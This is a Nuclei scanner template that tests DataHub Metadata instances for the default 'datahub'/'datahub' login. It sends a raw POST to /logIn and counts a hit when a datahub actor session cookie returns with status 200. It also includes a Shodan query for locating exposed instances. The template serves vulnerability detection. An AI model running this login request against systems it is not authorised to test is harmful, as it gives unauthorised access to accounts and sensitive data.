id: datahub-metadata-default-login

info:
  name: DataHub Metadata - Default Login
  author: queencitycyber
  severity: high
  description: DataHub Metadata contains a default login vulnerability.  An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://github.com/datahub-project/datahub/blob/master/docs/rfc/active/access-control/access-control.md
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:datahub_project:datahub:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"DataHub"
    product: datahub
    vendor: datahub_project
  tags: datahub,default-login

http:
  - raw:
      - |
        POST /logIn HTTP/2
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    attack: pitchfork
    payloads:
      username:
        - datahub
      password:
        - datahub

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Set-Cookie: actor=urn:li:corpuser:datahub;'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c23d0043e9d1ebf2614a35d0aaa3e200715bb2b2b558805d0ad04ae369dd78e10221009fb770b516fb5a50e97962019d808736513afe62259347b680c0b702d3900e24:922c64590222798bb761d5b6d8e72950